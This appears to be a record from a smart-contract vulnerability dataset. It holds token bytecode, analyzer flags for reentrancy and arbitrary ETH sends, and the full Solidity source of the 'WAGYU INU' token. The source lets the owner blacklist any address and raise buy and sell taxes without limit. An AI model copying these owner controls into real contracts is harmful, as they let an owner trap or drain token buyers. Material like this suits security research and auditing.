0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f3578063c3c8cd8014610313578063c9567bf914610328578063d543dbeb1461033d578063dd62ed3e1461035d57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d357600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674565766520496e7560c01b60208201525b6040516101539190611979565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611800565b6103a3565b6040519015158152602001610153565b34801561019857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610153565b3480156101c157600080fd5b5061017c6101d03660046117bf565b6103ba565b3480156101e157600080fd5b506101f56101f036600461174c565b610423565b005b34801561020357600080fd5b5060405160128152602001610153565b34801561021f57600080fd5b506101f561022e3660046118f8565b610477565b34801561023f57600080fd5b506101f56104bf565b34801561025457600080fd5b506101a761026336600461174c565b6104ec565b34801561027457600080fd5b506101f561050e565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102b157600080fd5b50604080518082019091526005815264454556454560d81b6020820152610146565b3480156102df57600080fd5b5061017c6102ee366004611800565b610582565b3480156102ff57600080fd5b506101f561030e36600461182c565b61058f565b34801561031f57600080fd5b506101f5610625565b34801561033457600080fd5b506101f561065b565b34801561034957600080fd5b506101f5610358366004611932565b610a24565b34801561036957600080fd5b506101a7610378366004611786565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b0338484610afa565b5060015b92915050565b60006103c7848484610c1e565b610419843361041485604051806060016040528060288152602001611b65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb8565b610afa565b5060019392505050565b6000546001600160a01b031633146104565760405162461bcd60e51b815260040161044d906119ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a15760405162461bcd60e51b815260040161044d906119ce565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104df57600080fd5b476104e981610ff2565b50565b6001600160a01b0381166000908152600260205260408120546103b490611077565b6000546001600160a01b031633146105385760405162461bcd60e51b815260040161044d906119ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b0338484610c1e565b6000546001600160a01b031633146105b95760405162461bcd60e51b815260040161044d906119ce565b60005b8151811015610621576001600660008484815181106105dd576105dd611b15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061981611ae4565b9150506105bc565b5050565b600e546001600160a01b0316336001600160a01b03161461064557600080fd5b6000610650306104ec565b90506104e9816110fb565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161044d906119ce565b601154600160a01b900460ff16156106df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044d565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f30826b033b2e3c9fd0803ce8000000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611769565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d857600080fd5b505afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611769565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611769565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108c0816104ec565b6000806108d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610971919061194b565b5050601180546a084595161401484a00000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ec57600080fd5b505af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106219190611915565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161044d906119ce565b60008111610a9e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044d565b610abf6064610ab96b033b2e3c9fd0803ce800000084611284565b90611303565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044d565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044d565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044d565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044d565b6001600a556009600b556000546001600160a01b03848116911614801590610d7c57506000546001600160a01b03838116911614155b15610f5b576001600160a01b03831660009081526006602052604090205460ff16158015610dc357506001600160a01b03821660009081526006602052604090205460ff16155b610dcc57600080fd5b6011546001600160a01b038481169116148015610df757506010546001600160a01b03838116911614155b8015610e1c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e315750601154600160b81b900460ff165b15610e8e57601254811115610e4557600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6957600080fd5b610e7442601e611a74565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eb957506010546001600160a01b03848116911614155b8015610ede57506001600160a01b03831660009081526005602052604090205460ff16155b15610eee576001600a556009600b555b6000610ef9306104ec565b601154909150600160a81b900460ff16158015610f2457506011546001600160a01b03858116911614155b8015610f395750601154600160b01b900460ff165b15610f5957610f47816110fb565b478015610f5757610f5747610ff2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9d57506001600160a01b03831660009081526005602052604090205460ff165b15610fa6575060005b610fb284848484611345565b50505050565b60008184841115610fdc5760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611acd565b95945050505050565b600e546001600160a01b03166108fc61100c836002611303565b6040518115909202916000818181858888f19350505050158015611034573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61104f836002611303565b6040518115909202916000818181858888f19350505050158015610621573d6000803e3d6000fd5b60006008548211156110de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044d565b60006110e8611373565b90506110f48382611303565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114357611143611b15565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119757600080fd5b505afa1580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cf9190611769565b816001815181106111e2576111e2611b15565b6001600160a01b0392831660209182029290920101526010546112089130911684610afa565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611241908590600090869030904290600401611a03565b600060405180830381600087803b15801561125b57600080fd5b505af115801561126f573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600082611293575060006103b4565b600061129f8385611aae565b9050826112ac8583611a8c565b146110f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044d565b60006110f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611396565b80611352576113526113c4565b61135d8484846113f2565b80610fb257610fb2600c54600a55600d54600b55565b60008060006113806114e9565b909250905061138f8282611303565b9250505090565b600081836113b75760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611a8c565b600a541580156113d45750600b54155b156113db57565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061140487611531565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611436908761158e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146590866115d0565b6001600160a01b0389166000908152600260205260409020556114878161162f565b6114918483611679565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d691815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006115088282611303565b821015611528575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600080600080600080600080600061154e8a600a54600b5461169d565b925092509250600061155e611373565b905060008060006115718e8787876116ec565b919e509c509a509598509396509194505050505091939550919395565b60006110f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806115dd8385611a74565b9050838110156110f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044d565b6000611639611373565b905060006116478383611284565b3060009081526002602052604090205490915061166490826115d0565b30600090815260026020526040902055505050565b600854611686908361158e565b60085560095461169690826115d0565b6009555050565b60008080806116b16064610ab98989611284565b905060006116c46064610ab98a89611284565b905060006116dc826116d68b8661158e565b9061158e565b9992985090965090945050505050565b60008080806116fb8886611284565b905060006117098887611284565b905060006117178888611284565b90506000611729826116d6868661158e565b939b939a50919850919650505050505050565b803561174781611b41565b919050565b60006020828403121561175e57600080fd5b81356110f481611b41565b60006020828403121561177b57600080fd5b81516110f481611b41565b6000806040838503121561179957600080fd5b82356117a481611b41565b915060208301356117b481611b41565b809150509250929050565b6000806000606084860312156117d457600080fd5b83356117df81611b41565b925060208401356117ef81611b41565b929592945050506040919091013590565b6000806040838503121561181357600080fd5b823561181e81611b41565b946020939093013593505050565b6000602080838503121561183f57600080fd5b823567ffffffffffffffff8082111561185757600080fd5b818501915085601f83011261186b57600080fd5b81358181111561187d5761187d611b2b565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611b2b565b604052828152858101935084860182860187018a10156118c157600080fd5b600095505b838610156118eb576118d78161173c565b8552600195909501949386019386016118c6565b5098975050505050505050565b60006020828403121561190a57600080fd5b81356110f481611b56565b60006020828403121561192757600080fd5b81516110f481611b56565b60006020828403121561194457600080fd5b5035919050565b60008060006060848603121561196057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119a65785810183015185820160400152820161198a565b818111156119b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a535784516001600160a01b031683529383019391830191600101611a2e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8757611a87611aff565b500190565b600082611aa957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac857611ac8611aff565b500290565b600082821015611adf57611adf611aff565b500390565b6000600019821415611af857611af8611aff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e957600080fd5b80151581146104e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fed601a6ad4b452760fc8d7be6aa7d58b23327d23a4eccb944f13e1ed075080664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,147
0xcf17d923c4f1c7f1e9e7997564eb5a2a20aab7d7
// SPDX-License-Identifier: Unlicensed // TG @WagYuInu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WAGYU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WAGYU INU"; string private constant _symbol = "WAGYU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 12; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xE784C616eC414EC5bff3da60C9948209585e03eD); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 5e8 * 10**9; uint256 public _maxWalletSize = 1e9 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 2e8 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 5 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setPair() external onlyOwner{ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610662578063e0f9f6a0146106a8578063ea1644d5146106c8578063f2fde38b146106e8578063fe72c3c11461070857600080fd5b806395d89b41146105b45780639ec350ed146105e25780639f13157114610602578063a9059cbb14610622578063c55284901461064257600080fd5b80637c519ffb116100f25780637c519ffb146105355780637d1db4a51461054a578063881dce60146105605780638da5cb5b146105805780638f9a55c01461059e57600080fd5b806370a08231146104ca578063715018a6146104ea57806374010ece146104ff578063790ca4131461051f57600080fd5b8063313ce567116101b15780634bf2c7c9116101755780634bf2c7c91461043f5780635d098b381461045f5780636b9cf5341461047f5780636d8aa8f8146104955780636fc3eaec146104b557600080fd5b8063313ce567146103ae57806333251a0b146103ca57806338eea22d146103ea57806349bd5a5e1461040a5780634bdc18de1461042a57600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461034057806327c8f8351461036057806328bb665a146103765780632fd689e31461039857600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082019091526009815268574147595520494e5560b81b60208201525b60405161027091906120c4565b60405180910390f35b34801561028557600080fd5b50610299610294366004611f6f565b61071e565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611ebb565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b5068056bc75e2d631000005b604051908152602001610270565b34801561034c57600080fd5b5061029961035b366004611f2e565b610735565b34801561036c57600080fd5b5061030261dead81565b34801561038257600080fd5b50610396610391366004611f9b565b61079e565b005b3480156103a457600080fd5b50610332601d5481565b3480156103ba57600080fd5b5060405160098152602001610270565b3480156103d657600080fd5b506103966103e5366004611ebb565b61083d565b3480156103f657600080fd5b506103966104053660046120a2565b6108ac565b34801561041657600080fd5b50601a54610302906001600160a01b031681565b34801561043657600080fd5b506103966108e1565b34801561044b57600080fd5b5061039661045a366004612089565b610add565b34801561046b57600080fd5b5061039661047a366004611ebb565b610b0c565b34801561048b57600080fd5b50610332601e5481565b3480156104a157600080fd5b506103966104b0366004612067565b610b66565b3480156104c157600080fd5b50610396610bae565b3480156104d657600080fd5b506103326104e5366004611ebb565b610bd8565b3480156104f657600080fd5b50610396610bfa565b34801561050b57600080fd5b5061039661051a366004612089565b610c6e565b34801561052b57600080fd5b50610332600a5481565b34801561054157600080fd5b50610396610c9d565b34801561055657600080fd5b50610332601b5481565b34801561056c57600080fd5b5061039661057b366004612089565b610cf7565b34801561058c57600080fd5b506000546001600160a01b0316610302565b3480156105aa57600080fd5b50610332601c5481565b3480156105c057600080fd5b50604080518082019091526005815264574147595560d81b6020820152610263565b3480156105ee57600080fd5b506103966105fd3660046120a2565b610d73565b34801561060e57600080fd5b5061039661061d366004612067565b610da8565b34801561062e57600080fd5b5061029961063d366004611f6f565b610df0565b34801561064e57600080fd5b5061039661065d3660046120a2565b610dfd565b34801561066e57600080fd5b5061033261067d366004611ef5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b457600080fd5b506103966106c3366004612089565b610e32565b3480156106d457600080fd5b506103966106e3366004612089565b610e6e565b3480156106f457600080fd5b50610396610703366004611ebb565b610e9d565b34801561071457600080fd5b5061033260185481565b600061072b338484610f87565b5060015b92915050565b60006107428484846110ab565b610794843361078f856040518060600160405280602881526020016122c9602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061174e565b610f87565b5060019392505050565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016107c890612119565b60405180910390fd5b60005b8151811015610839576001600960008484815181106107f5576107f5612287565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083181612256565b9150506107d4565b5050565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016107c890612119565b6001600160a01b03811660009081526009602052604090205460ff16156108a9576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016107c890612119565b600d91909155600f55565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016107c890612119565b601a54600160a01b900460ff161561092257600080fd5b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c